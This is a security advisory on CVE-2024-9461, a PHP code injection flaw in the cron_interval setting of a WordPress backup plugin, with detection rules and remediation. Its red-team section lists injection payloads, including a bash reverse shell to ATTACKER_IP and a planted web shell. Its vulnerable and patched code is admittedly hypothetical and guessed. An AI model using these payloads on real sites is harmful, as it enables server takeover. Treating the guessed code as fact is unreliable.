CVE-2024-9461

Executive Summary

CVE-2024-9461 is a critical Remote Code Execution (RCE) vulnerability in the Total Upkeep – WordPress Backup Plugin plus Restore & Migrate by BoldGrid plugin for WordPress. The flaw resides in the cron_interval parameter, which is used to schedule backup tasks. Due to a lack of input validation and sanitization, an authenticated attacker with Administrator-level privileges can inject arbitrary PHP code that is subsequently executed by the server. This allows for full server compromise, including data exfiltration, lateral movement, and persistence.

The vulnerability affects all versions up to and including 1.16.6. As of this report, no official patch has been released, and no public proof-of-concept (PoC) code is available. The EPSS score is 0.0%, indicating low exploitation activity in the wild, but the high CVSS score (7.2) and the potential for privilege escalation make this a high-priority issue for WordPress administrators.

Supply Chain & Package Security

This vulnerability is specific to the WordPress plugin ecosystem. The plugin is distributed via the official WordPress Plugin Directory and is also available for manual installation. Administrators should verify the integrity of their plugin files and ensure they are not using a compromised version. Since the plugin is not an NPM, PyPI, Go, or Ruby package, no additional supply chain checks are required for those ecosystems.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.2 (High)
• Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: High (PR:H) – The attacker must have Administrator-level access to the WordPress site.
• User Interaction: None (UI:N) – No user action is needed.
• Scope: Unchanged (S:U) – The exploit does not affect other components.
• Confidentiality Impact: High (C:H) – Full read access to the server.
• Integrity Impact: High (I:H) – Full write access to the server.
• Availability Impact: High (A:H) – Full control over server resources.

Threat Level: High. While the attack requires admin credentials, the impact is total server compromise. This is a prime target for privilege escalation attacks or lateral movement within a network.

Deep Dive & Mechanics

The vulnerability is located in the cron_interval parameter, which is used by the plugin to define the interval for scheduled backups. The plugin likely uses this parameter in a PHP eval() or preg_replace() with the /e modifier, or directly in a system() call without proper sanitization.

Root Cause: The plugin fails to validate and sanitize user-supplied input in the cron_interval parameter. An attacker can inject arbitrary PHP code, such as system('id'), which is then executed by the server.

Attack Flow:

1. The attacker authenticates as an Administrator.
2. The attacker sends a crafted HTTP request to the WordPress admin panel, modifying the cron_interval parameter.
3. The plugin processes the parameter without sanitization, executing the injected code.
4. The attacker gains remote code execution on the server.

Affected Component: The cron_interval parameter in the plugin's settings or AJAX handler.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on the vulnerability description.

Vulnerable Code (v1.16.6):

// In a settings handler or AJAX callback
$cron_interval = $_POST['cron_interval'];
// No sanitization or validation
update_option('total_upkeep_cron_interval', $cron_interval);
// Later, the value is used in a dangerous function
eval("\$interval = $cron_interval;");

Patched Code (Hypothetical):

// In a settings handler or AJAX callback
$cron_interval = sanitize_text_field($_POST['cron_interval']);
if (is_numeric($cron_interval) && $cron_interval > 0) {
    update_option('total_upkeep_cron_interval', intval($cron_interval));
} else {
    // Handle error
}
// The value is then used safely
$interval = get_option('total_upkeep_cron_interval', 3600);

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the Total Upkeep plugin (v1.16.6 or earlier).
• Administrator credentials.

Exploitation Steps:

1. Log in to the WordPress admin panel.
2. Navigate to the Total Upkeep settings page (typically under Settings > Total Upkeep).
3. Intercept the request using a proxy (e.g., Burp Suite) or modify the form data.
4. Change the cron_interval parameter to a malicious payload, e.g.:

   cron_interval=1; system('id');
   

5. Submit the form.
6. The server executes the injected code. The output of id may be visible in the response or in server logs.

Alternative Payloads:

• Reverse shell: cron_interval=1; exec('/bin/bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"');
• Web shell: cron_interval=1; file_put_contents('/var/www/html/shell.php', '<?php system($_GET["cmd"]); ?>');

Note: Since no public PoC exists, the exact injection point may vary. The attacker should test with benign payloads first.

Blue Team

Detection:

• Monitor for unusual changes to the cron_interval option in the WordPress database.
• Look for HTTP requests to the plugin's settings page with suspicious cron_interval values.
• Check server logs for unexpected PHP errors or system command output.

Hunting:

• Search for files created in the web root with suspicious names (e.g., shell.php).
• Review cron job entries for unexpected commands.
• Use the YARA and Sigma rules provided below.

Indicators of Compromise (IOCs)

• File Indicators:

  • Unexpected PHP files in the WordPress installation directory (e.g., shell.php, backdoor.php).
  • Modified plugin files, especially total-upkeep.php or related files.

• Network Indicators:

  • Outbound connections to unknown IP addresses on common ports (e.g., 4444, 8080).
  • HTTP requests to /wp-admin/admin-ajax.php with suspicious action and cron_interval parameters.

• Log Indicators:

  • PHP error logs containing eval() or system() calls.
  • WordPress debug logs showing unexpected option changes.

• Database Indicators:

  • The wp_options table containing a total_upkeep_cron_interval option with a non-numeric value.

Detection Engineering

YARA Rule

rule CVE_2024_9461_Total_Upkeep_RCE {
    meta:
        description = "Detects malicious cron_interval parameter in Total Upkeep plugin"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-9461"
    strings:
        $suspicious_param = /cron_interval\s*=\s*[^0-9\s&]+/ nocase
        $php_function = /(eval|system|exec|shell_exec|passthru|popen|proc_open|assert)\s*\(/ nocase
    condition:
        $suspicious_param and $php_function
}

Sigma Rule

title: CVE-2024-9461 Total Upkeep RCE Detection
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects attempts to exploit RCE in Total Upkeep plugin via cron_interval parameter
author: Valters IT
date: 2024-10-27
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'cron_interval'
        cs-uri-query|re: 'cron_interval=[^0-9&]+'
    condition: selection
falsepositives:
    - Legitimate admin configuration changes (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-9461 Total Upkeep RCE Attempt"; flow:to_server,established; content:"POST"; http_method; content:"cron_interval"; http_client_body; pcre:"/cron_interval=[^0-9&]+/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until an official patch is released.
2. Restrict Administrator access to only trusted users.
3. Implement a Web Application Firewall (WAF) rule to block suspicious cron_interval values.

Long-term Fix:

• Monitor the plugin's official page for a patched version (1.16.7 or later).
• Apply the patch as soon as it becomes available.
• Consider switching to an alternative backup plugin if the vendor does not respond.

Workaround:

• Manually harden the plugin by adding input validation to the cron_interval parameter in the plugin's source code (not recommended for non-developers).

Valters IT
Securing Digital Frontiers